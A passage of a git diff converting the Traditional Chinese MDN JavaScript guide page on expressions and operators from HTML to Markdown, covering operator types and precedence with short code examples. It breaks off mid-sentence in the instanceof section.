var theDay = new Date(1995, 12, 17);
-if (theDay instanceof Date) {
-  // 會被執行的陳述
-}
-
- -

運算子優先級

- -

運算子優先級決定運算子被使用於運算元的先後順序。 你也可以使用括號來強制指定優先級。

- -

下列表格列出了運算子的優先級, 從高到低。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
運算子優先級
運算子類型屬於該類別的運算子
成員. []
呼叫/建立 實例() new
反向/增加! ~ - + ++ -- typeof void delete
乘法/除法* / %
加法/減法+ -
位元移動<< >> >>>
關係運算子< <= > >= in instanceof
相等性== != === !==
位元 and&
位元 xor^
位元 or|
邏輯 and&&
邏輯 or||
條件運算子?:
指定運算子= += -= *= /= %= <<= >>= >>>= &= ^= |=
逗點運算子,
- -

這個表格更詳細的版本,解釋了運算子的更多細節和關聯性, 可以在 JavaScript 參考 中被找到。

- -

運算式

- -

運算式是任何一段可以取得一個值的程式碼。

- -

任何合乎語法的運算式都能取得一個值,概念上, 有兩種不同型態的運算式: 有副作用的 (例如: 將一個值指定給一個變數) 以及只為了取得值而解析的運算式。

- -

運算式 x = 7 是上述的第一種類型。 這個使用 = 運算子的運算式會將數值 7 賦與給 x。 運算式本身也會被解析為 7。

- -

運算式 3 + 4 是上述的第二種類型。 這個運算式使用 + 運算子把 3 和 4 加起來,而不指定給任何變數。
-
- JavaScript 運算式有下列幾種種類:

- -
    -
  • 算術: 解析出數字, 例如 3.14159。(通常使用算術運算子。)
  • -
  • 字串: 解析出字串, 例如 "Fred" or "234"。(通常使用字串運算子。)
  • -
  • 邏輯: 解析出 True 或 False(通常與邏輯運算子相關。)
  • -
  • 主流運算式: JavaScript 基本的關鍵字及運算式。
  • -
  • 左側運算式: 左側是指定值的對象。
  • -
- -

主流運算式

- -

JavaScript 基本的關鍵字及運算式。

- -

this

- -

this 關鍵字 能取得當前所在物件。 一般而言, this 能取得呼叫處所在的物件。 你可以使用 點 或是 中括號 來取用該物件中的特性:

- -
this['特性名稱']
-this.特性名稱
-
- -

以下定義一個叫做 validate 的函式,比較物件中特性 value 與傳入的兩變數:

- -
function validate(obj, lowval, hival){
-  if ((obj.value < lowval) || (obj.value > hival))
-    console.log('不可用的值!');
-}
-
- -

你可以在表單的 onChange event handler 中呼叫 validate 函式, 並以 this 來傳入表單的元素, 範例如下:

- -
<p>請輸入一介於18 與 99 的數字:</p>
-<input type="text" name="age" size=3 onChange="validate(this, 18, 99);">
-
- -

分組運算子

- -

分組運算子 ( ) 控制了運算子的優先順序。 例如,你可以覆寫先乘除,後加減的優先順序,使其變成先加減,後乘除。

- -
var a = 1;
-var b = 2;
-var c = 3;
-
-// 預設運算級
-a + b * c     // 7
-// 預設的結果
-a + (b * c)   // 7
-
-// 現在複寫運算級
-// 變成先進行加法,後乘法了
-(a + b) * c   // 9
-
-// 結果
-a * c + b * c // 9
-
- -

解析

- -

解析是 JavaScript 中的一個實驗性功能, 在未來版本的 ECMAScript 計畫被導入。有兩種不同類型的解析:

- -
-
{{experimental_inline}} {{jsxref("Operators/Array_comprehensions", "[for (x of y) x]")}}
-
陣列解析。
-
{{experimental_inline}} {{jsxref("Operators/Generator_comprehensions", "(for (x of y) y)")}}
-
產生器解析。
-
- -

解析在許多程式語言中都存在,允許你快速地基於現存陣列產生新的陣列,例如:

- -
[for (i of [ 1, 2, 3 ]) i*i ];
-// [ 1, 4, 9 ]
-
-var abc = [ 'A', 'B', 'C' ];
-[for (letters of abc) letters.toLowerCase()];
-// [ 'a', 'b', 'c' ]
- -

左側運算式

- -

左側是指定值的對象。

- -

new

- -

你可以使用 new 運算子 來建立一個使用者自定義物件或內建物件的實例。 用法如下:

- -
var 物件名稱 = new 物件型態([參數1, 參數2, ..., 參數N]);
-
- -

super

- -

super 關鍵字 用於呼叫物件的父物件中的函式。 在使用 類別 來呼叫父類別的建構子時很實用,例如:

- -
super([參數]); // 呼叫父物件的建構子.
-super.父物件的函式([參數]);
-
- -

展開運算子

- -

展開運算子能將運算式展開於需要多個參數的地方 (如函式呼叫) 或是需要多個元素 (如陣列字串常數) 的地方。

- -

範例: 現在你想要用已存在的一個陣列做為新的一個陣列的一部份,當字串常數不再可用而你必須使用指令式編程,也就是使用,一連串的 push, splice, concat,等等。 展開運算子能讓過程變得更加簡潔:

- -
var parts = ['肩膀', '膝蓋'];
-var lyrics = ['頭', ...parts, '和', '腳趾'];
- -

相同的,展開運算子也適用於函式呼叫:

- -
function f(x, y, z) { }
-var args = [0, 1, 2];
-f(...參數);
- -
{{PreviousNext("Web/JavaScript/Guide/Functions", "Web/JavaScript/Guide/Numbers_and_dates")}}
diff --git a/files/zh-tw/web/javascript/guide/expressions_and_operators/index.md b/files/zh-tw/web/javascript/guide/expressions_and_operators/index.md new file mode 100644 index 00000000000000..616c47fc21f52b --- /dev/null +++ b/files/zh-tw/web/javascript/guide/expressions_and_operators/index.md @@ -0,0 +1,656 @@ +--- +title: 運算式與運算子 +slug: Web/JavaScript/Guide/Expressions_and_Operators +translation_of: Web/JavaScript/Guide/Expressions_and_Operators +--- +{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Functions", "Web/JavaScript/Guide/Numbers_and_dates")}} + +這個章節將講述 JavaScript 的運算式與運算子,包括賦值運算子,比較運算子,算術運算子,位元運算子, 邏輯運算子, 字串運算子, 條件(三元)運算子 以及更多運算子. + +更多關於運算子以及運算式的資料可以在 [reference](/zh-TW/docs/Web/JavaScript/Reference/Operators) 中找到。 + +## 運算子 + +JavaScript 有以下幾種運算子。 此處將描述運算子以及一些運算子的優先順序。 + +- [賦值運算子](#賦值運算子) +- [比較運算子](#比較運算子) +- [算術運算子](#算術運算子) +- [位元運算子](#位元運算子) +- [邏輯運算子](#邏輯運算子) +- [字串運算子](#字串運算子) +- [條件(三元)運算子](#條件(三元)運算子) +- [逗點運算子](#逗點運算子) +- [一元運算子](#一元運算子) +- [關係運算子](#關係運算子) + +JavaScript 同時具有二元運算子及一元運算子, 以及一種特殊的 三元運算子,也就是 條件運算子。 一個二元運算子需要具備兩個運算元, 一個在運算元之前,一個在運算元之後: + +```plain +運算元1 運算子 運算元2 +``` + +例如, `3+4` 或 `x*y`. + +一個 一元運算子 需要一個運算元, 位於運算子之前或之後: + +```plain +運算子 運算元 +``` + +或 + +```plain +運算元 運算子 +``` + +例如, `x++` 或 `++x`. + +### 賦值運算子 + +一個 [賦值運算子](/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators) 將 基於其 右方的運算元 的值賦予其 左方的運算元。 最簡單的 賦值運算子 是 等於 (`=`), 它將賦予 左方運算元 與 右方運算元相同之值。 也就是, `x = y` 會把 y 的值賦予給 x。 + +也有一些復合的 賦值運算子 是為了縮短下面表中的運算: + +| 名稱 | 簡化的運算子 | 意義 | +| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | ------------- | +| [賦值](/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Assignment) | `x = y` | `x = y` | +| [加法](/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Addition_assignment)[賦值](/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Assignment) | `x += y` | `x = x + y` | +| [減法](/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Subtraction_assignment)[賦值](/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Assignment) | `x -= y` | `x = x - y` | +| [乘法](/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Multiplication_assignment)[賦值](/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Assignment) | `x *= y` | `x = x * y` | +| [除法](/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Division_assignment)[賦值](/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Assignment) | `x /= y` | `x = x / y` | +| [餘數](/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Remainder_assignment)[賦值](/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Assignment) | `x %= y` | `x = x % y` | +| [指數](/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Exponentiation_assignment)[賦值](/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Assignment) | `x **= y` | `x = x ** y` | +| [左移賦值](/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Left_shift_assignment) | `x <<= y` | `x = x << y` | +| [右移賦值](/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Right_shift_assignment) | `x >>= y` | `x = x >> y` | +| [無號右移賦值](/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Unsigned_right_shift_assignment) | `x >>>= y` | `x = x >>> y` | +| [位元 AND 賦值](/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Bitwise_AND_assignment) | `x &= y` | `x = x & y` | +| [位元 XOR 賦值](/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Bitwise_XOR_assignment) | `x ^= y` | `x = x ^ y` | +| [位元 OR 賦值](/zh-TW/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Bitwise_OR_assignment) | `x \|= y` | `x = x \| y` | + +#### 解構 + +為了進行更複雜的賦值,[解構賦值](/zh-TW/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment)是 JavaScript 用來從陣列或物件中提取資料的語法。 + +```js +var foo = ['one', 'two', 'three']; + +// 不使用解構 +var one = foo[0]; +var two = foo[1]; +var three = foo[2]; + +// 使用解構 +var [one, two, three] = foo; +``` + +### 比較運算子 + +[比較運算子](/zh-TW/docs/Web/JavaScript/Reference/Operators/Comparison_Operators) 會比較 運算元 並基於比較的結果回傳邏輯值。 運算元可以是數字,字串,邏輯,或物件的值。 字串的比較是基於字典序的, 使用 Unicode 的值。 在多數情況下,假如兩個運算元不具有相同型態, JavaScript 會嘗試將它們轉換成相同型態。這個行為通常是將運算元以數學形式對待。 在某些的轉換型態的例外中會使用到 `===` 及 `!==` 運算子, 它們會嚴格地進行相等或不相等的比較。 這些運算子不會在確認相等與否前嘗試轉換運算元的型態。 下面的表解釋了比較運算子: + +```js +var var1 = 3; +var var2 = 4; +``` + +| 運算子 | 描述 | 會回傳 True 的例子 | +| ----------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------ | +| [等於](/zh-TW/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Equality) (`==`) | 假如運算元等價就回傳 True。 | ` 3 == var1``"3" == var1``3 == '3' ` | +| [不等於](/zh-TW/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Inequality) (`!=`) | 假如運算元等價就回傳 True。 | `var1 != 4 var2 != "3"` | +| [嚴格等於](/zh-TW/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Identity) (`===`) | 假如運算元具有相同型態且等價則回傳 True。參考 {{jsxref("Object.is")}} 及 [JS 中的等價性](/zh-TW/docs/Web/JavaScript/Equality_comparisons_and_sameness)。 | `3 === var1` | +| [嚴格不等於](/zh-TW/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Nonidentity) (`!==`) | 假如運算元具有相同型態但不等價,或是具有不同型態,回傳 True。 | `var1 !== "3" 3 !== '3'` | +| [大於](/zh-TW/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_operator) (`>`) | 假如左方運算元大於右方運算元,回傳 True。 | `var2 > var1 "12" > 2` | +| [大於或等於](/zh-TW/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_or_equal_operator) (`>=`) | 假如左方運算元大於或等於右方運算元,回傳 True。 | `var2 >= var1 var1 >= 3` | +| [小於](/zh-TW/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than_operator) (`<`) | 假如左方運算元小於右方運算元,回傳 True。 | `var1 < var2 "2" < 12` | +| [小於或等於](/zh-TW/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than_or_equal_operator) (`<=`) | 假如左方運算元小於或等於右方運算元,回傳 True。 | `var1 <= var2 var2 <= 5` | + +> **備註:** `=>` 不是運算子,是 [箭頭函式](/zh-TW/docs/Web/JavaScript/Reference/Functions/Arrow_functions)。 + +### 算術運算子 + +[算術運算子](/zh-TW/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators) 以 數值 (文字或變數也可以)作為其運算元,並回傳單一數值。最常見的算術運算元是 加法 (`+`),減法 (`-`), 乘法 (`*`),及除法 (`/`)。 這些運算子在大多數程式語言中功能相同 (比較特別的是,在除數為 0 時 {{jsxref("Infinity")}})。例如: + +```js +1 / 2; // 0.5 +1 / 2 == 1.0 / 2.0; // 會是 true +``` + +除了標準的算術運算子外 (+, -, \* /), JavaScript 提供以下表中的算術運算子: + +| 運算子 | 描述 | 範例 | +| ---------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | +| [取餘數](/zh-TW/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder) (`%`) | 二元運算子。回傳兩個運算元相除後的餘數。 | 12 % 5 回傳 2. | +| [增加](/zh-TW/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment) (`++`) | 一元運算子。 將運算元增加 1。假如使用在運算元之前 (`++x`),會運算元回傳增加 1 後的值;假如使用在運算元之後。 (`x++`)`,` 會回傳運算元加 1 前的值。 | 假如 `x是` 3,那 `++x` 將把 `x` 設定為 4 並回傳 4,而 `x++ 會回傳` 3 , 接著才把 `x 設定為` 4。 | +| [減少](/zh-TW/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Decrement) (`--`) | 一元運算子。 將運算元減少 1。回傳值的情況與 增加運算元 相同。 | 假如 `x是` 3,那 `--x` 將把 `x` 設定為 2 並回傳 2,而 `x-- 會回傳` 3 , 接著才把 `x 設定為` 2。 | +| [(一元運算子)減號](/zh-TW/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_negation) (`-`) | 一元運算子。回傳運算元的負數。 | 假如 x 是 3,-x 回傳 -3。 | +| [(一元運算子)加號](/zh-TW/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_plus) (`+`) | 一元運算子。嘗試將運算元轉換成數字,假如它還不是數字的話。 | `+"3"` `回傳 3`。 `+true` 回傳 `1.` | +| [指數運算子](/zh-TW/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Exponentiation) (`**`) {{experimental_inline}} | 計算以 a 為底的 `b` 次方, 也就是, `a^b` | `2 ** 3` `回傳 8`. `10 ** -1` 回傳 `0.1`. | + +### 位元運算子 + +[位元運算子](/zh-TW/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators) 把運算元當作 32 位元的集合來看待 (0 和 1), 而不是十進位,十六進位,或八進位。例如,十進位數字 9 以二進位表示就是 1001。 位元運算子將運算元以上述二進位的形式處理,但是回傳 Javascript 中的數字類型值。 + +下列表總結了 JavaScript' 中的位元運算子。 + +| 運算子 | 用法 | 描述 | +| -------------------------------------------------------------------------------------------------------- | --------- | -------------------------------------------------------------- | +| [位元 AND](/zh-TW/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_AND) | `a & b` | 回傳兩個運算元對於每個 bit 做 AND 的結果。 | +| [位元 OR](/zh-TW/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_OR) | `a \| b` | 回傳兩個運算元對於每個 bit 做 OR 的結果。 | +| [位元 XOR](/zh-TW/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_XOR) | `a ^ b` | 回傳兩個運算元對於每個 bit 做 XOR 的結果。 | +| [位元 NOT](/zh-TW/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_NOT) | `~ a` | 將運算元中的每個 bit 反轉(1->0,0->1)。 | +| [左移](/zh-TW/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Left_shift) | `a << b` | 將 `a` 的每個 bit 向左移動 `b` 個 bits,空餘的位數以 0 填滿。 | +| [有號右移](/zh-TW/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Right_shift) | `a >> b` | 將 `a` 的每個 bit 向右移動 `b` 個 bits,空餘位數以最高位補滿。 | +| [以 0 填充的右移](/zh-TW/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Unsigned_right_shift) | `a >>> b` | 將 `a` 的每個 bit 向右移動 `b` 個 bits,空餘的位數以 0 填滿。 | + +#### 位元邏輯運算子 + +概念上,位元邏輯運算子運作過程如下: + +- 運算元被轉換為 32 bits 的整數以二進位形式表示 (0 和 1)。大於 32 bits 的數字將被捨棄多出來的位元。例如, 下列整數大於 32 個 bit 但是會被轉換為 32 個 bit 的整數: + + ```plain + 轉換之前: 11100110111110100000000000000110000000000001 + 轉換之後: 10100000000000000110000000000001 + ``` + +- 第一個運算元中的每個 bit 分別對應到第二個運算元的每個 bit: 第一個 bit 對 第一個 bit, 第二個 bit 對 第二個 bit, 以此類推。 +- 運算子會對於 bit 進行運算, 結果也是基於 bit 來決定的。 + +例如, 9 的二元表示法是 1001, 15 的二元表示法是 1111。因此,在使用位元運算子的時候,結果如下: + +| 運算式 | 結果 | 二元描述式 | +| --------- | ----- | ----------------------------------------------------------------- | +| `15 & 9` | `9` | `1111 & 1001 = 1001` | +| `15 \| 9` | `15` | `1111 \| 1001 = 1111` | +| `15 ^ 9` | `6` | `1111 ^ 1001 = 0110` | +| `~15` | `-16` | ` ~``00000000...`` 00001111 = ``1111``1111``...``11110000 ` | +| `~9` | `-10` | ` ~``00000000``...``0000`` 1001 = ``1111``1111``...``1111``0110 ` | + +注意,在使用 位元 NOT 運算子時, 所有的 32 個 bit 都被進行 NOT 了,包含最左邊用來描述正負數的位元(two's-complement representation)。 + +#### 位元移動運算子 + +位元移動運算子需要兩個運算元: 第一個是運算的目標,第二個是要移動的位元數。移動的方向取決於使用的運算子。 + +移動運算子會將運算元轉換成 32 bits 的整數,並且會回傳與左方運算元相同的型態。 + +移動運算子在下表被列出. + +| 運算子 | 描述 | 範例 | +| ------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------- | +| [左移]() (`<<`) | 這個運算子會將第 一個運算元的每個 bit 向左移動 第二個運算元所指定的 bit 數量。左邊超出的位數會被捨棄,右邊空出的位數以 0 補齊。 | `9<<2` 得到 36,因為 1001 向左移動 2 bits 會得到 100100, 也就是二進位的 36。 | +| [有號右移](>_(Sign-propagating_right_shift)>) (`>>`) | 這個運算子會將第 一個運算元的每個 bit 向右移動 第二個運算元所指定的 bit 數量。右邊超出的位數會被捨棄,左邊空出的位數以最高位補齊。 | `9>>2` 得到 2,因為 1001 向右移動 2 bits 會得到 10,也就是二進位的 2。 相同的, `-9>>2` 會得到 -3,因為最高位用來表示正負號的 bit 被保留了。 | +| [以 0 填充的右移](>>_(Zero-fill_right_shift)>) (`>>>`) | 這個運算子會將第 一個運算元的每個 bit 向右移動 第二個運算元所指定的 bit 數量。右邊超出的位數會被捨棄,左邊空出的位數以 0 補齊。 | `19>>>2 得到` 4, 因為 10011 向右移動 2 bits 會得到 100,是二進位的 4。對於非負的數字而言, 以 0 填充的右移 會得到和 有號右移相同的結果。 | + +### 邏輯運算子 + +[邏輯運算子](/zh-TW/docs/Web/JavaScript/Reference/Operators/Logical_Operators) 通常被用於布林(邏輯)值; 使用於 布林(邏輯)值時, 它們會回傳布林型態的值。 然而,`&&` 和 `||` 運算子實際上是回傳兩指定運算元之一,因此用於非布林型態值時,它可能會回傳一個非布林型態的值。 邏輯運算子將在下表中被詳細解釋。 + +| Operator | Usage | Description | +| ------------------------------------------------------------------------------------------------- | ---------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | +| [邏輯 AND](/zh-TW/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_AND)` `(`&&`) | `運算式1 && 運算式2` | 假如` 運算式1` 可以被轉換成 false 的話,回傳 `運算式1`; 否則,回傳 `運算式2`。 因此,`&&`只有在 兩個運算元都是 True 時才會回傳 True,否則回傳` false`。 | +| [邏輯 OR ](/zh-TW/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR)(`\|\|`) | `運算式1 \|\| 運算式2` | 假如` 運算式1` 可以被轉換成 true 的話,回傳 `運算式1`; 否則,回傳 `運算式2`。 因此,`\|\|`在 兩個運算元有任一個是 True 時就會回傳 True,否則回傳` false`。 | +| [邏輯 NOT ](/zh-TW/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_NOT)(`!`) | `!運算式` | 假如單一個運算元能被轉換成 True 時,回傳`false` , 不然回傳 `true`。 | + +可以被轉換為 false 的運算式是 null, 0, NaN, 空字串 (""),或 未定義。 + +下面是 `&&` (邏輯 AND) 運算子 的範例。 + +```js +var a1 = true && true; // t && t 回傳 true +var a2 = true && false; // t && f 回傳 false +var a3 = false && true; // f && t 回傳 false +var a4 = false && (3 == 4); // f && f 回傳 false +var a5 = "Cat" && "Dog"; // t && t 回傳 Dog +var a6 = false && "Cat"; // f && t 回傳 false +var a7 = "Cat" && false; // t && f 回傳 false +``` + +下列是 || (邏輯 OR) 運算子的範例。 + +```js +var o1 = true || true; // t || t 回傳 true +var o2 = false || true; // f || t 回傳 true +var o3 = true || false; // t || f 回傳 true +var o4 = false || (3 == 4); // f || f 回傳 false +var o5 = 'Cat' || 'Dog'; // t || t 回傳 Cat +var o6 = false || 'Cat'; // f || t 回傳 Cat +var o7 = 'Cat' || false; // t || f 回傳 Cat +``` + +下列是 ! (邏輯 NOT) 運算子的範例。 + +```js +var n1 = !true; // !t 回傳 false +var n2 = !false; // !f 回傳 true +var n3 = !'Cat'; // !t 回傳 false +``` + +#### 短路解析 + +邏輯運算式是由左向右解析的, 他們會以下列規則嘗試進行 短路解析: + +- `false` && _任何東西_ 是 false 的短路解析。 +- `true` || _任何東西_ 是 true 的短路解析。 + +這些規則保證 解析總是正確的。 值得注意的地方是,剩餘部分的運算式並沒有被解析,所以不會占用任何效能。 + +### 字串運算子 + +除了作為比較運算子之外, 運算子 (+) 也能用於字串,將兩字串接在一起,並回傳接在一起後的結果。 + +例如, + +```js +console.log('我的 ' + '字串'); // 會印出 字串 "我的字串"。 +``` + +簡化的設定運算子 += 也能用於串接字串。 + +例如, + +```js +var mystring = '字'; +mystring += '母'; // 得到 "字母" 並賦與給變數 mystring. +``` + +### 條件(三元)運算子 + +[條件運算子](/zh-TW/docs/Web/JavaScript/Reference/Operators/Conditional_Operator) 是 JavaScript 中唯一需要三個運算元的運算子。 這個運算子接受兩個運算元作為值且一個運算元作為條件。 語法是: + +```plain +條件 ? 值1 : 值2 +``` + +如果 _條件_ 為 true,運算子回傳 _值 1,_ 否則回傳 _值 2。_ 你可以在任何使用標準運算子的地方改用 條件運算子。 + +例如, + +```js +var status = (age >= 18) ? '成人' : '小孩'; +``` + +這個陳述句會將 "成人" 賦與給變數 `status` 假如 `age` 大於等於 18。 否則,會將 "小孩" 賦與給變數 `status`。 + +### 逗號運算子 + +[逗點運算子](/zh-TW/docs/Web/JavaScript/Reference/Operators/Comma_Operator) (`,`) 作用是解析兩個運算元並回傳後面那個運算元的值。 這個運算子通常用於 for 迴圈內部,讓多個變數能在每次迴圈中被更新。 + +例如,假如 `a` 是一個有十個物件在裡面的二維陣列, 下面的程式中就使用了逗點運算子來同時更新兩個變數。 這段程式碼會印出陣列中所有對角線上的物件: + +```js +for (var i = 0, j = 9; i <= j; i++, j--) + console.log('a[' + i + '][' + j + ']= ' + a[i][j]); +``` + +### 一元運算子 + +一元運算 是只需要一個運算元的運算。 + +#### `delete` + +[`delete`](/en-US/docs/Web/JavaScript/Reference/Operators/delete) 運算子會刪除物件,物件的性質,或是陣列中指定 index 的物件。 語法是: + +```js +delete 物件名稱; +delete 物件名稱.性質; +delete 物件名稱[索引]; +delete 性質; // 只有在 with 陳述句中可以使用 +``` + +`物件名稱` 是物件的名稱, 性質 是物件中的一個特性, 索引 是用來表示物件在陣列中位置的一個整數。 + +第四種形式只有在 [`with`](/en-US/docs/Web/JavaScript/Reference/Statements/with) 陳述句中可用, 用來刪除物件中的一個特性。 + +你可以用 `delete` 運算子來刪除隱式宣告的變數, 但不適用於使用 var 宣告的變數。 + +假如 `delete` 運算子使用成功, 它會將物件 或是 物件的特性設定為 `未定義。` `delete` 運算子會在運算成功時回傳 true ,失敗時回傳 `false` 。 + +```js +x = 42; +var y = 43; +myobj = new Number(); +myobj.h = 4; // 建立特性 h +delete x; // 回傳 true (只有在隱式宣告時能被刪除) +delete y; // 回傳 false (在使用 var 宣告時無法刪除) +delete Math.PI; // 回傳 false (不能刪除內建定義的特性) +delete myobj.h; // 回傳 true (可以刪除使用者自定義的特性) +delete myobj; // 回傳 true (在隱式宣告時可被刪除) +``` + +##### 刪除陣列元素 + +在你刪除了陣列中的一個元素後, 陣列的長度並不會改變。 例如, 假如你`刪除 a[3]`, `a[4]` 依然是 `a[4]` 而 `a[3]` 為 未定義。 + +當使用 `delete` 運算子刪除陣列中的一個元素後, 那個元素便不再存在於陣列中了。 在下面的程式中, `trees[3]` 被用 delete 移除了。然而, `trees[3]` 的記憶體位址仍可用並且會回傳 未定義。 + +```js +var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple']; +delete trees[3]; +if (3 in trees) { + // 不會執行到這裡 +} +``` + +假如你希望給予陣列元素 未定義 的值, 你可以直接使用 `undefined` 關鍵字而不是使用 delete 運算子。 下列範例中, `trees[3]` 被指定了 `undefined`, 然而陣列元素依然存在: + +```js +var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple']; +trees[3] = undefined; +if (3 in trees) { + // 會執行這裡 +} +``` + +#### `typeof` + +[`typeof` 運算子](/zh-TW/docs/Web/JavaScript/Reference/Operators/typeof) 能以下列任一方式使用: + +```plain +typeof 運算元 +typeof (運算元) +``` + +`typeof` 運算子會回傳代表運算元類型的 字串。 `運算元能是字串,變數,關鍵字,或是會回傳型態的物件。` 括號是可有可無的。 + +假設你定義了以下這些變數: + +```js +var myFun = new Function('5 + 2'); +var shape = 'round'; +var size = 1; +var today = new Date(); +``` + +`typeof` 運算子會回傳下列結果: + +```js +typeof myFun; // 回傳 "function" +typeof shape; // 回傳 "string" +typeof size; // 回傳 "number" +typeof today; // 回傳 "object" +typeof doesntExist; // 回傳 "undefined" +``` + +對於 `true` 和 `null關鍵字,` `typeof` 運算子會回傳下列結果: + +```js +typeof true; // 回傳 "boolean" +typeof null; // 回傳 "object" +``` + +對於字串或數字, `typeof` 運算子會回傳下列結果: + +```js +typeof 62; // 回傳 "number" +typeof 'Hello world'; // 回傳 "string" +``` + +對於特性,`typeof` 運算子會回傳 特性的值的類型: + +```js +typeof document.lastModified; // 回傳 "string" +typeof window.length; // 回傳 "number" +typeof Math.LN2; // 回傳 "number" +``` + +對於 方法 及 函式, `typeof` 運算子會回傳下列結果: + +```js +typeof blur; // 回傳 "function" +typeof eval; // 回傳 "function" +typeof parseInt; // 回傳 "function" +typeof shape.split; // 回傳 "function" +``` + +對於內建定義的物件, `typeof` 運算子會回傳下列結果: + +```js +typeof Date; // 回傳 "function" +typeof Function; // 回傳 "function" +typeof Math; // 回傳 "object" +typeof Option; // 回傳 "function" +typeof String; // 回傳 "function" +``` + +#### `void` + +[`void` 運算子 ](/zh-TW/docs/Web/JavaScript/Reference/Operators/void)能以下列任一方式使用: + +```plain +void (運算式) +void 運算式 +``` + +`void` 運算子會解析運算式而不回傳任何值。 `運算式` 是 JavaScript 中要解析的對象。 括號是可有可無的,但是建議使用。 + +你可以使用 `void` 運算子來解析超連結中的運算式。 運算式會被解析而不會在當前頁面被印出。 + +下列範例是一個在點擊時甚麼都不做的超連結。 當使用者點擊連結時, `void(0)` 被解析為 未定義, 而甚麼都不會發生。 + +```html +點擊這裡,甚麼都不會發生 +``` + +下列範例是一個在使用者點擊時傳送表單的超連結。 + +```html + +點擊以送出 +``` + +### 關係運算子 + +關係運算子比較兩運算元並基於比較結果回傳布林值。 + +#### `in` + +[`in `運算子](/zh-TW/docs/Web/JavaScript/Reference/Operators/in) 在指定性質存在於物件中時回傳 true 。 語法是: + +```js +性質名稱 in 物件名稱 +``` + +性質名稱 可以是 字串或數字,或是陣列的索引, 且` `物件名稱 是物件的名稱。 + +下列範例示範了 `in` 運算子的一些用法。 + +```js +// 陣列 +var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple']; +0 in trees; // 回傳 true +3 in trees; // 回傳 true +6 in trees; // 回傳 false +'bay' in trees; // 回傳 false (你必須指定 索引, + // 而不是 索引所對應的元素) +'length' in trees; // 回傳 true (length 是陣列的性質之一) + +// 內建物件 +'PI' in Math; // 回傳 true +var myString = new String("coral"); +'length' in myString; // 回傳 true + +// 自訂義物件 +var mycar = { make: 'Honda', model: 'Accord', year: 1998 }; +'make' in mycar; // 回傳 true +'model' in mycar; // 回傳 true +``` + +#### `instanceof` + +[`instanceof` 運算子](/zh-TW/docs/Web/JavaScript/Reference/Operators/instanceof) 在 指定物件 具有 指定的物件型態 時回傳 true。 語法是: + +```plain +物件名稱 instanceof 物件類型 +``` + +`物件名稱` 是用來與 物件類型 比較的物件的名字, 物件類型 是物件的類型, 例如 {{jsxref("Date")}} 或 {{jsxref("Array")}}。 + +當你需要在程式執行中確認物件的形態時,你可以使用 ins`tanceof` 運算子。 例如,當捕捉到例外時, 你可以依照例外的類型來決定用來處理意外的程式碼。 + +例如,下列程式碼使用 `instanceof` 來判斷變數 `theDay` 是不是 `Date` 